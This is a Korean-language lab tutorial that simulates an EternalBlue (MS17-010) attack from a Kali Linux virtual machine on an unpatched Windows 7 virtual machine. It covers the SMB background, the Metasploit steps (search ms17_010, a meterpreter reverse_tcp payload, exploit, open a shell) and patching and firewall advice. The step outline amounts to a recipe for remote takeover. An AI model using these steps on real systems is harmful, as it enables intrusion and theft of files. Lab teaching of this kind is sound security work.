I. 설명
이 실습에서는 두 대의 컴퓨터를 사용하여 Windows 운영체제의 SMB 프로토콜 취약점을 이용한 공격을 시뮬레이션합니다. 한 대는 Kali Linux 운영체제를 실행하며 공격자(해커) 역할을 합니다. 다른 한 대는 피해자(victim) 역할을 하는 컴퓨터입니다. 피해자 컴퓨터는 SMB 취약점이 있는 Windows 7 64비트 운영체제를 실행하고 있습니다. 이를 위해 Kali Linux 머신에서 EternalBlue라는 익스플로잇 코드를 사용하여 Windows 7 머신을 공격합니다.
II. 일반 소개
Server Message Block (SMB)는 Microsoft의 Windows 플랫폼에서 매우 일반적인 파일 공유 프로토콜입니다. 이 SMB 프로토콜 덕분에 동일한 네트워크 계층 또는 동일한 도메인 내에 연결된 Windows 컴퓨터는 서로 파일을 공유할 수 있습니다. 현재 SMB는 Common Internet File Sharing (CIFS)이라고도 불립니다.
EternalBlue는 포트 445를 통한 SMB 프로토콜의 취약점을 기반으로 하는 정보 익스플로잇 코드입니다. 처음에 EternalBlue는 미국 국가안보국(NSA)에 의해 개발되었습니다. 전체 영어 이름은 U.S. National Security Agency입니다. 그러나 이후 2017년 해커 그룹 The Shadow Brokers에 의해 유출되었습니다. 같은 해에 Microsoft Windows를 실행하는 컴퓨터를 대상으로 한 대규모 랜섬웨어(데이터 암호화 바이러스) 공격이 전 세계적으로 발생했습니다. 그중에서도 가장 유명한 것은 WannaCry 바이러스입니다. 현재까지 이 취약점은 Microsoft에 의해 MS17-010 보안 업데이트로 패치되었습니다. 그러나 전 세계적으로 여전히 많은 수의 Windows 운영체제를 실행하는 컴퓨터에 이 취약점이 존재합니다. 이 취약점은 CVE-2017-0144 (Windows SMB Remote Code Execution Vulnerability)로 공개되었습니다. 이 취약점은 매우 위험하며 쉽게 악용될 수 있습니다. 주목할 점은 이 SMB 프로토콜 취약점을 통한 공격을 위해 해커가 피해자에게 어떤 악성 바이러스를 다운로드하거나 실행하도록 보내거나 속일 필요가 없다는 것입니다. 즉, 피해자가 아무것도 하지 않더라도 해커가 쉽게 컴퓨터를 장악하여 제어권을 획득할 수 있으며 피해자는 전혀 알지 못합니다.
III. 준비
VMware Workstation 소프트웨어에서 실행되는 두 대의 가상 머신을 준비합니다. Kali Linux 가상 머신(공격자 머신)의 IP 주소는 192.168.198.140이고 Windows 7 가상 머신(피해자 머신)의 IP 주소는 192.168.198.143입니다.
1.Kali(공격자) 가상 머신에서:
-IP 확인: ifconfig
-PostgreSQL 서비스 시작: # service postgresql start
-PostgreSQL 실행 여부 확인 명령어: # service postgresql status
2.Windows 7(피해자) 가상 머신에서:
IP 확인: ipconfig
방화벽(Firewall)을 끕니다.
IV. 공격 실행
Kali 머신에서: 다음 명령어로 Metasploit에 로그인: # msfconsole
Metasploit에 접속한 후 ms17_010 관련 취약점 및 구문을 검색합니다: # search ms17_010
피해자 머신, 공격자 머신의 IP 주소를 설정합니다.
익스플로잇을 위한 페이로드 설정:
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
익스플로잇을 실행하여 공격을 진행합니다.
-침투 성공 후 피해자 머신에서 셸 열기 (공격자 머신의 터미널을 통해 실행):
=> 이제 해커가 피해자 머신에 성공적으로 침투한 것으로 간주됩니다. 이 시점에서 해커는 피해자의 컴퓨터에서 파일을 삭제하거나 도난할 수 있으며, 피해자는 이를 전혀 알지 못합니다. 심지어 해커는 해당 컴퓨터에 직접 바이러스를 업로드하고 실행할 수도 있습니다.
V. 예방 방법
– SMB 프로토콜의 익스플로잇 및 악용을 방지하려면 다음 작업을 수행해야 합니다:
방화벽(Firewall)을 활성화합니다.
Windows를 최신 버전으로 업데이트합니다. 또는 Microsoft의 보안 패치를 다운로드하여 업데이트합니다. 특히 ms17_010 보안 패치가 중요합니다.